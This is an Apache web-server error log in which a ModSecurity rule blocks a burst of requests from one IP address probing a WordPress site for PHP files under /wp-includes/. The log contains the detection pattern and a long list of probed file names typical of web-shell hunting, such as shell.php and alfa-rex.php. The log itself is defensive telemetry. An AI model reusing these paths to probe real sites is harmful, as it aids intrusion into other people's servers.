[Wed Nov 26 18:21:07.037907 2025] [:error] [pid 20733:tid 20740] [client 194.54.144.73:47234] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aSbUkwV9EP2HuRvnH8dKXwAAAMU"]
[Wed Nov 26 18:21:07.652869 2025] [:error] [pid 46443:tid 46466] [client 194.54.144.73:47240] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aSbUk8LmDsnHrj-QFB_NkgAAAFU"]
[Wed Nov 26 18:21:08.274272 2025] [:error] [pid 46443:tid 46445] [client 194.54.144.73:47244] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aSbUlMLmDsnHrj-QFB_NlgAAAEA"]
[Wed Nov 26 18:21:08.686001 2025] [:error] [pid 6471:tid 6478] [client 194.54.144.73:47258] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aSbUlOh3Z9TZLlRuTiN-EQAAAIQ"]
[Wed Nov 26 18:21:09.520322 2025] [:error] [pid 20733:tid 20741] [client 194.54.144.73:47268] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aSbUlQV9EP2HuRvnH8dKagAAAMY"]
[Wed Nov 26 18:21:10.775131 2025] [:error] [pid 45683:tid 45707] [client 194.54.144.73:47274] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aSbUlhX1gQgNFW_222qeBQAAAVM"]
[Wed Nov 26 18:21:11.185537 2025] [:error] [pid 45769:tid 45793] [client 194.54.144.73:34648] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aSbUl1dG5Eht9c3yy4MWogAAAdU"]
[Wed Nov 26 18:21:12.645097 2025] [:error] [pid 45683:tid 45694] [client 194.54.144.73:54945] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aSbUmBX1gQgNFW_222qeEQAAAUY"]
[Wed Nov 26 18:21:13.475103 2025] [:error] [pid 45685:tid 45754] [client 194.54.144.73:34668] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aSbUmVj3f_NRdgU0DQ7LTQAAAQw"]
[Wed Nov 26 18:21:15.734479 2025] [:error] [pid 45685:tid 45747] [client 194.54.144.73:34674] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aSbUm1j3f_NRdgU0DQ7LVAAAAQU"]
[Wed Nov 26 18:21:16.144025 2025] [:error] [pid 45769:tid 45775] [client 194.54.144.73:34676] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aSbUnFdG5Eht9c3yy4MWpAAAAcM"]
[Wed Nov 26 18:21:16.761076 2025] [:error] [pid 6471:tid 6476] [client 194.54.144.73:34688] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aSbUnOh3Z9TZLlRuTiN-KgAAAII"]
[Wed Nov 26 18:21:17.593782 2025] [:error] [pid 20733:tid 20739] [client 194.54.144.73:34696] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aSbUnQV9EP2HuRvnH8dKfAAAAMQ"]
[Wed Nov 26 18:21:18.428315 2025] [:error] [pid 46443:tid 46459] [client 194.54.144.73:34710] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aSbUnsLmDsnHrj-QFB_NsQAAAE4"]
[Wed Nov 26 18:21:18.844704 2025] [:error] [pid 45683:tid 45692] [client 194.54.144.73:34714] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aSbUnhX1gQgNFW_222qeFAAAAUQ"]
[Wed Nov 26 18:21:19.465228 2025] [:error] [pid 45769:tid 45778] [client 194.54.144.73:34730] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSbUn1dG5Eht9c3yy4MWpwAAAcY"]
[Wed Nov 26 18:21:19.875248 2025] [:error] [pid 45683:tid 45699] [client 194.54.144.73:34738] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aSbUnxX1gQgNFW_222qeFQAAAUs"]
[Wed Nov 26 18:21:20.705181 2025] [:error] [pid 46443:tid 46445] [client 194.54.144.73:34742] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aSbUoMLmDsnHrj-QFB_NtQAAAEA"]
[Wed Nov 26 18:21:21.325974 2025] [:error] [pid 45683:tid 45710] [client 194.54.144.73:41384] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aSbUoRX1gQgNFW_222qeFwAAAVY"]
[Wed Nov 26 18:21:21.733421 2025] [:error] [pid 6471:tid 6496] [client 194.54.144.73:41400] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aSbUoeh3Z9TZLlRuTiN-MwAAAJY"]
[Wed Nov 26 18:21:22.142908 2025] [:error] [pid 46443:tid 46452] [client 194.54.144.73:41402] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aSbUosLmDsnHrj-QFB_NtwAAAEc"]
[Wed Nov 26 18:21:23.181059 2025] [:error] [pid 45684:tid 45733] [client 194.54.144.73:41414] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aSbUo_g5LMxwI4-PD1cwxwAAABI"]
[Wed Nov 26 18:21:24.009193 2025] [:error] [pid 45684:tid 45719] [client 194.54.144.73:41424] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aSbUpPg5LMxwI4-PD1cwywAAAAQ"]
[Wed Nov 26 18:21:24.626036 2025] [:error] [pid 20733:tid 20759] [client 194.54.144.73:41436] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aSbUpAV9EP2HuRvnH8dKjwAAANg"]
[Wed Nov 26 18:21:25.243792 2025] [:error] [pid 45769:tid 45793] [client 194.54.144.73:41446] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aSbUpVdG5Eht9c3yy4MWqgAAAdU"]
[Wed Nov 26 18:21:26.907780 2025] [:error] [pid 46443:tid 46446] [client 194.54.144.73:41460] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aSbUpsLmDsnHrj-QFB_NwQAAAEE"]
[Wed Nov 26 18:21:27.317253 2025] [:error] [pid 45684:tid 45727] [client 194.54.144.73:41466] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aSbUp_g5LMxwI4-PD1cw2AAAAAw"]
[Wed Nov 26 18:21:28.143812 2025] [:error] [pid 45685:tid 45745] [client 194.54.144.73:41482] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aSbUqFj3f_NRdgU0DQ7LfgAAAQM"]
[Wed Nov 26 18:21:29.392086 2025] [:error] [pid 45684:tid 45733] [client 194.54.144.73:41498] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aSbUqfg5LMxwI4-PD1cw4wAAABI"]
[Wed Nov 26 18:21:30.219354 2025] [:error] [pid 45684:tid 45719] [client 194.54.144.73:41500] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aSbUqvg5LMxwI4-PD1cw6QAAAAQ"]
[Wed Nov 26 18:21:31.051808 2025] [:error] [pid 45684:tid 45725] [client 194.54.144.73:41502] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aSbUq_g5LMxwI4-PD1cw7AAAAAo"]
[Wed Nov 26 18:21:31.670946 2025] [:error] [pid 46443:tid 46469] [client 194.54.144.73:40648] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aSbUq8LmDsnHrj-QFB_NxwAAAFg"]
[Wed Nov 26 18:21:32.289370 2025] [:error] [pid 45683:tid 45696] [client 194.54.144.73:40654] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aSbUrBX1gQgNFW_222qeHwAAAUg"]
[Wed Nov 26 18:21:33.537383 2025] [:error] [pid 45769:tid 45790] [client 194.54.144.73:40666] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSbUrVdG5Eht9c3yy4MWsAAAAdI"]
[Wed Nov 26 18:21:34.574822 2025] [:error] [pid 46443:tid 46465] [client 194.54.144.73:40678] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aSbUrsLmDsnHrj-QFB_N0gAAAFQ"]
[Wed Nov 26 18:21:34.993405 2025] [proxy_fcgi:error] [pid 6471:tid 6481] [client 194.54.144.73:40692] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:21:35.200032 2025] [:error] [pid 6471:tid 6482] [client 194.54.144.73:40692] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aSbUr-h3Z9TZLlRuTiN-OAAAAIg"]
[Wed Nov 26 18:21:35.608608 2025] [:error] [pid 45684:tid 45724] [client 194.54.144.73:40698] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aSbUr_g5LMxwI4-PD1cxAwAAAAk"]
[Wed Nov 26 18:21:36.436286 2025] [:error] [pid 6471:tid 6483] [client 194.54.144.73:40702] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aSbUsOh3Z9TZLlRuTiN-OwAAAIk"]
[Wed Nov 26 18:21:36.846096 2025] [:error] [pid 45685:tid 45757] [client 194.54.144.73:40714] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aSbUsFj3f_NRdgU0DQ7LiQAAAQ8"]
[Wed Nov 26 18:21:38.540476 2025] [:error] [pid 20733:tid 20755] [client 194.54.144.73:40722] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "aSbUsgV9EP2HuRvnH8dKpwAAANQ"]
[Wed Nov 26 18:21:38.948622 2025] [:error] [pid 45684:tid 45721] [client 194.54.144.73:40730] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aSbUsvg5LMxwI4-PD1cxBAAAAAY"]
[Wed Nov 26 18:21:39.566831 2025] [:error] [pid 45769:tid 45775] [client 194.54.144.73:40734] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/log.php"] [unique_id "aSbUs1dG5Eht9c3yy4MWtAAAAcM"]
[Wed Nov 26 18:21:39.975883 2025] [:error] [pid 45685:tid 45759] [client 194.54.144.73:40746] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aSbUs1j3f_NRdgU0DQ7LiwAAARE"]
[Wed Nov 26 18:21:40.407961 2025] [:error] [pid 45685:tid 45742] [client 194.54.144.73:40760] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aSbUtFj3f_NRdgU0DQ7LjQAAAQA"]
[Wed Nov 26 18:21:40.818450 2025] [:error] [pid 6471:tid 6490] [client 194.54.144.73:40766] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/aw.php"] [unique_id "aSbUtOh3Z9TZLlRuTiN-QwAAAJA"]
[Wed Nov 26 18:21:42.064966 2025] [:error] [pid 45684:tid 45718] [client 194.54.144.73:42786] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "aSbUtvg5LMxwI4-PD1cxDAAAAAM"]
[Wed Nov 26 18:21:42.473715 2025] [:error] [pid 45685:tid 45760] [client 194.54.144.73:42802] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "aSbUtlj3f_NRdgU0DQ7LjwAAARI"]
[Wed Nov 26 18:21:43.299464 2025] [:error] [pid 20733:tid 20741] [client 194.54.144.73:42818] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aSbUtwV9EP2HuRvnH8dKqgAAAMY"]
[Wed Nov 26 18:21:43.708921 2025] [:error] [pid 45683:tid 45709] [client 194.54.144.73:42832] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aSbUtxX1gQgNFW_222qeMQAAAVU"]
[Wed Nov 26 18:21:44.535544 2025] [:error] [pid 45683:tid 45708] [client 194.54.144.73:42840] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "aSbUuBX1gQgNFW_222qeNwAAAVQ"]
[Wed Nov 26 18:21:44.945938 2025] [:error] [pid 45684:tid 45729] [client 194.54.144.73:42856] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aSbUuPg5LMxwI4-PD1cxHAAAAA4"]
